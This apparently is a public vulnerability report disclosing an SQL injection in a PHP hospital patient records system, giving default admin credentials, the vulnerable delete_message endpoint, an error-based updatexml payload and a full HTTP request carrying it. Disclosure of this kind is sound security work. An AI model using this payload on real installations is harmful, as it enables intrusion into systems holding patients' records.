

main

...

bug_report / vendors / oretnom23 / hospitals-patient-records-management-system / SQLi-16.md



debug601 Create SQLi-16.md

History

1 contributor

47 lines (36 sloc) | 1.6 KB

...

Hospital's Patient Records Management System v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: <https://www.sourcecodester.com/php/15116/hospitals-patient-records-management-system-php-free-source-code.html>

Vulnerability File: /hprms/classes/Master.php?f=delete_message

Vulnerability location: /hprms/classes/Master.php?f=delete_message, id

Current database name: hprms_db ,length is 8

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

You need to execute the following sql statement in the database to create the "message_list" table

```
CREATE TABLE `message_list` (  
  `id` int(30) NOT NULL,  
  `fullname` text NOT NULL,  
  `specialization` text NOT NULL,
```

```
`email` text NOT NULL,  
`contact` varchar(100) NOT NULL,  
`delete_flag` tinyint(1) NOT NULL,  
`date_created` datetime NOT NULL,  
`date_added` datetime NOT NULL  
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;  
COMMIT;
```

POST /hprms/classes/Master.php?f=delete_message HTTP/1.1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhpr114jr1

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

